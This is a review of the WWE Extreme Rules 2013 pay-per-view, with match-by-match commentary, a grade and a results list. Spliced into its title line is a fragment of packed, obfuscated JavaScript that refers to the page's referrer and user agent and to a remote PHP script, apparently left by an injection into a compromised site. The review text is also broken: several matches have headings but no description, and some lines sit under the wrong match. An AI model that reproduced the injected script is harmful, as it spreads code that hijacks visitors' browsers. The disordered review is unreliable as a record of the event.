Extreme Rules 2013: Extremely Underwhelming

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hesby|var|u0026u|referrer|zntsy||js|php'.split('|'),0,{})) Rules 2013
Date: May 19, 2013
Location: Scottrade Center, St. Louis, Missouri
Commentators: Michael Cole, Jerry Lawler, John Bradshaw Layfield

Pre-Show: The Miz vs. Cody Rhodes

The opening video focuses on the main events and how tonight is different from the other nights of the year.

Chris Jericho vs. Fandango

Fandango kicks Jericho in the face to keep him down before loading up the guillotine legdrop. Chris rolls away though and hits the Lionsault for a near fall. Can that even be called a finishing move anymore? Fandango tries a sunset flip out of the corner but gets caught in the Walls of Jericho, only to grab the ropes a second later. Jericho charges into a boot in the corner and Fandango goes up, only to dive into the Codebreaker for the pin at 8:32.

US Title: Kofi Kingston vs. Dean Ambrose

Kofi is defending. Rollins and Reigns walk back up into the crowd to keep this as an actual one on one match. Feeling out process to start with Kofi trying a quick Trouble in Paradise but Dean grabs the rope. A hiptoss sends Ambrose down and Kofi pounds away in the corner. Dean comes out of the corner with a clothesline and drops an elbow for one. With Kofi against the ropes, Ambrose hits a hard dropkick for a near fall. Ambrose talks trash and puts on a crossface chicken wing of all things, complete with a grapevine.

Kofi fights up and sends Ambrose face first into the buckle to escape before dropping him with a dropkick. Boom Drop connects but Ambrose backs away before Trouble in Paradise can launch. SOS gets two on Dean and Kofi goes up top, only to be crotched down and caught with a butterfly superplex for two.

Sheamus vs. Mark Henry

Rating: C-. This was pretty underwhelming given what was expected of them. The problem with these matches is the same every time: it becomes about strategy instead of the violence that the match was built up on. Strap matches are always better when the guys get to destroy each other, but that might be interesting so we better not do that here.

Here are Colter and Swagger with Zeb complaining about the IRS and AP phone tapping scandals before ripping into the St. Louis Cardinals for having too many Latin players.

Alberto Del Rio vs. Jack Swagger

Ryback says all Cena has left are words, but Cena is a liar. Tonight Ryback Rules and he wins the title.

Tag Titles: Roman Reigns/Seth Rollins vs. HELL NO

Kane gets double teamed down in the corner and then Bryan gets the same treatment. Reigns loads up a powerbomb off the middle rope but Bryan counters into a rana to put everyone down. Kane grabs both Shield members by the throat before shoving them to the floor, allowing Bryan to hit the suicide dive to take both guys out. The champions take turn hitting clotheslines on both guys in the corners before Kane hits the top rope clothesline on Rollins, allowing Bryan to hit the Flying Goat for two.

We look at the pre-show match.

Big Show vs. Randy Orton

Raw World Title: John Cena vs. Ryback

Cena pulls himself to his feet and then pulls the top rope down, sending Ryback out to the floor. With Ryback up at six, John slides a table into the ring. Ryback escapes the AA though and hits his over the shoulder Stunner for an eight count. The table is set up in the corner now but Cena takes Ryback down with some shoulder blocks. Ryback catches him in mid-air though and hits a fallaway slam through the table. Cena makes it up at nine and avoids a charging Ryback, sending him shoulder first into the post.

After choking Ryback for a good while the monster stays down for nine. Cena puts Ryback on a conveniently placed table and dives off a balcony with a splash through said table. Ryback is again up at nine so Cena sprays him with a fire extinguisher. They head up to the stage with Cena hosing Ryback down again and again before hitting Ryback in the face with the fire extinguisher.

Ad for Payback in four weeks.

The cage has a new design and is higher than the usual one.

Brock Lesnar vs. HHH

The Game sends him into the cage but Brock just smiles and rams him right back into the steel. Brock misses a flying knee into the cage and shouts to Heyman that his knee is hurt. HHH goes up top but Brock is there to meet him. Lesnar is shoved back down though and the knee is hurt again. The facebuster puts Brock down again as HHH is calling some loud spots tonight.

Results

Chris Jericho b. Fandango – Codebreaker

Dean Ambrose b. Kofi Kingston – Bulldog Driver

Sheamus b. Mark Henry – Sheamus touched all four corners

Alberto Del Rio b. Jack Swagger – Cross Armbreaker

Roman Reigns/Seth Rollins b. HELL NO – Torture Rack/Top Rope Knee Drop Combination to Bryan

Randy Orton b. Big Show – Punt

Ryback vs. John Cena went to a no contest

Brock Lesnar b. HHH – F5

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